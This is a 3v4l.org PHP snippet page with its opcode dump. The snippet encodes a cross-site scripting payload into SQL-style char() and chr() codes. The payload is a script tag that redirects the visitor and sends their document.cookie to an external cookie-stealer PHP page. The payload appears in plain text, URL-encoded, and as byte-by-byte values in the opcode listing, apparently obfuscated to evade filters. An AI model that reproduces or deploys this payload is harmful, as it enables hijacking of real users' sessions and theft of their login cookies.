3v4l.org

run code in 300+ PHP versions simultaneously
<?php function AsciiToInt($char){ $success = ""; if(strlen($char) == 1) return "char(".ord($char).")"; else{ for($i = 0; $i < strlen($char); $i++){ if($i == strlen($char) - 1) $success = $success.ord($char[$i]); else $success = $success.ord($char[$i]).","; } return "char(".$success.")"; } } echo AsciiToInt("<script language='JavaScript'>location.href='http://skrubbeltrang.t15.org/adv_cookie_stealer.php?c='+document.cookie;</script>"); echo chr(60,115,99,114,105,112,116,32,108,97,110,103,117,97,103,101,61,39,74,97,118,97,83,99,114,105,112,116,39,62,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,115,107,114,117,98,98,101,108,116,114,97,110,103,46,116,49,53,46,111,114,103,47,97,100,118,95,99,111,111,107,105,101,95,115,116,101,97,108,101,114,46,112,104,112,63,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,60,47,115,99,114,105,112,116,62); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/loU4A
function name:  (null)
number of ops:  134
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   16     0  E >   INIT_FCALL                                               'asciitoint'
          1        SEND_VAL                                                 '%3Cscript+language%3D%27JavaScript%27%3Elocation.href%3D%27http%3A%2F%2Fskrubbeltrang.t15.org%2Fadv_cookie_stealer.php%3Fc%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E'
          2        DO_FCALL                                      0  $0      
          3        ECHO                                                     $0
   19     4        INIT_FCALL                                               'chr'
          5        SEND_VAL                                                 60
          6        SEND_VAL                                                 115
          7        SEND_VAL                                                 99
          8        SEND_VAL                                                 114
          9        SEND_VAL                                                 105
         10        SEND_VAL                                                 112
         11        SEND_VAL                                                 116
         12        SEND_VAL                                                 32
         13        SEND_VAL                                                 108
         14        SEND_VAL                                                 97
         15        SEND_VAL                                                 110
         16        SEND_VAL                                                 103
         17        SEND_VAL                                                 117
         18        SEND_VAL                                                 97
         19        SEND_VAL                                                 103
         20        SEND_VAL                                                 101
         21        SEND_VAL                                                 61
         22        SEND_VAL                                                 39
         23        SEND_VAL                                                 74
         24        SEND_VAL                                                 97
         25        SEND_VAL                                                 118
         26        SEND_VAL                                                 97
         27        SEND_VAL                                                 83
         28        SEND_VAL                                                 99
         29        SEND_VAL                                                 114
         30        SEND_VAL                                                 105
         31        SEND_VAL                                                 112
         32        SEND_VAL                                                 116
         33        SEND_VAL                                                 39
         34        SEND_VAL                                                 62
         35        SEND_VAL                                                 108
         36        SEND_VAL                                                 111
         37        SEND_VAL                                                 99
         38        SEND_VAL                                                 97
         39        SEND_VAL                                                 116
         40        SEND_VAL                                                 105
         41        SEND_VAL                                                 111
         42        SEND_VAL                                                 110
         43        SEND_VAL                                                 46
         44        SEND_VAL                                                 104
         45        SEND_VAL                                                 114
         46        SEND_VAL                                                 101
         47        SEND_VAL                                                 102
         48        SEND_VAL                                                 61
         49        SEND_VAL                                                 39
         50        SEND_VAL                                                 104
         51        SEND_VAL                                                 116
         52        SEND_VAL                                                 116
         53        SEND_VAL                                                 112
         54        SEND_VAL                                                 58
         55        SEND_VAL                                                 47
         56        SEND_VAL                                                 47
         57        SEND_VAL                                                 115
         58        SEND_VAL                                                 107
         59        SEND_VAL                                                 114
         60        SEND_VAL                                                 117
         61        SEND_VAL                                                 98
         62        SEND_VAL                                                 98
         63        SEND_VAL                                                 101
         64        SEND_VAL                                                 108
         65        SEND_VAL                                                 116
         66        SEND_VAL                                                 114
         67        SEND_VAL                                                 97
         68        SEND_VAL                                                 110
         69        SEND_VAL                                                 103
         70        SEND_VAL                                                 46
         71        SEND_VAL                                                 116
         72        SEND_VAL                                                 49
         73        SEND_VAL                                                 53
         74        SEND_VAL                                                 46
         75        SEND_VAL                                                 111
         76        SEND_VAL                                                 114
         77        SEND_VAL                                                 103
         78        SEND_VAL                                                 47
         79        SEND_VAL                                                 97
         80        SEND_VAL                                                 100
         81        SEND_VAL                                                 118
         82        SEND_VAL                                                 95
         83        SEND_VAL                                                 99
         84        SEND_VAL                                                 111
         85        SEND_VAL                                                 111
         86        SEND_VAL                                                 107
         87        SEND_VAL                                                 105
         88        SEND_VAL                                                 101
         89        SEND_VAL                                                 95
         90        SEND_VAL                                                 115
         91        SEND_VAL                                                 116
         92        SEND_VAL                                                 101
         93        SEND_VAL                                                 97
         94        SEND_VAL                                                 108
         95        SEND_VAL                                                 101
         96        SEND_VAL                                                 114
         97        SEND_VAL                                                 46
         98        SEND_VAL                                                 112
         99        SEND_VAL                                                 104
        100        SEND_VAL                                                 112
        101        SEND_VAL                                                 63
        102        SEND_VAL                                                 99
        103        SEND_VAL                                                 61
        104        SEND_VAL                                                 39
        105        SEND_VAL                                                 43
        106        SEND_VAL                                                 100
        107        SEND_VAL                                                 111
        108        SEND_VAL                                                 99
        109        SEND_VAL                                                 117
        110        SEND_VAL                                                 109
        111        SEND_VAL                                                 101
        112        SEND_VAL                                                 110
        113        SEND_VAL                                                 116
        114        SEND_VAL                                                 46
        115        SEND_VAL                                                 99
        116        SEND_VAL                                                 111
        117        SEND_VAL                                                 111
        118        SEND_VAL                                                 107
        119        SEND_VAL                                                 105
        120        SEND_VAL                                                 101
        121        SEND_VAL                                                 59
        122        SEND_VAL                                                 60
        123        SEND_VAL                                                 47
        124        SEND_VAL                                                 115
        125        SEND_VAL                                                 99
        126        SEND_VAL                                                 114
        127        SEND_VAL                                                 105
        128        SEND_VAL                                                 112
        129        SEND_VAL                                                 116
        130        SEND_VAL                                                 62
        131        DO_ICALL                                         $1      
        132        ECHO                                                     $1
   20   133      > RETURN                                                   1

Function asciitoint:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 5, Position 2 = 12
Branch analysis from position: 5
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 12
1 jumps found. (Code = 42) Position 1 = 33
Branch analysis from position: 33
2 jumps found. (Code = 44) Position 1 = 36, Position 2 = 14
Branch analysis from position: 36
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 14
2 jumps found. (Code = 43) Position 1 = 18, Position 2 = 25
Branch analysis from position: 18
1 jumps found. (Code = 42) Position 1 = 32
Branch analysis from position: 32
2 jumps found. (Code = 44) Position 1 = 36, Position 2 = 14
Branch analysis from position: 36
Branch analysis from position: 14
Branch analysis from position: 25
2 jumps found. (Code = 44) Position 1 = 36, Position 2 = 14
Branch analysis from position: 36
Branch analysis from position: 14
filename:       /in/loU4A
function name:  AsciiToInt
number of ops:  40
compiled vars:  !0 = $char, !1 = $success, !2 = $i
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   RECV                                             !0      
    3     1        ASSIGN                                                   !1, ''
    4     2        STRLEN                                           ~4      !0
          3        IS_EQUAL                                                 ~4, 1
          4      > JMPZ                                                     ~5, ->12
    5     5    >   INIT_FCALL                                               'ord'
          6        SEND_VAR                                                 !0
          7        DO_ICALL                                         $6      
          8        CONCAT                                           ~7      'char%28', $6
          9        CONCAT                                           ~8      ~7, '%29'
         10      > RETURN                                                   ~8
         11*       JMP                                                      ->39
    7    12    >   ASSIGN                                                   !2, 0
         13      > JMP                                                      ->33
    8    14    >   STRLEN                                           ~10     !0
         15        SUB                                              ~11     ~10, 1
         16        IS_EQUAL                                                 !2, ~11
         17      > JMPZ                                                     ~12, ->25
    9    18    >   INIT_FCALL                                               'ord'
         19        FETCH_DIM_R                                      ~13     !0, !2
         20        SEND_VAL                                                 ~13
         21        DO_ICALL                                         $14     
         22        CONCAT                                           ~15     !1, $14
         23        ASSIGN                                                   !1, ~15
         24      > JMP                                                      ->32
   11    25    >   INIT_FCALL                                               'ord'
         26        FETCH_DIM_R                                      ~17     !0, !2
         27        SEND_VAL                                                 ~17
         28        DO_ICALL                                         $18     
         29        CONCAT                                           ~19     !1, $18
         30        CONCAT                                           ~20     ~19, '%2C'
         31        ASSIGN                                                   !1, ~20
    7    32    >   PRE_INC                                                  !2
         33    >   STRLEN                                           ~23     !0
         34        IS_SMALLER                                               !2, ~23
         35      > JMPNZ                                                    ~24, ->14
   13    36    >   CONCAT                                           ~25     'char%28', !1
         37        CONCAT                                           ~26     ~25, '%29'
         38      > RETURN                                                   ~26
   15    39*     > RETURN                                                   null

End of function asciitoint

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
143.01 ms | 1415 KiB | 18 Q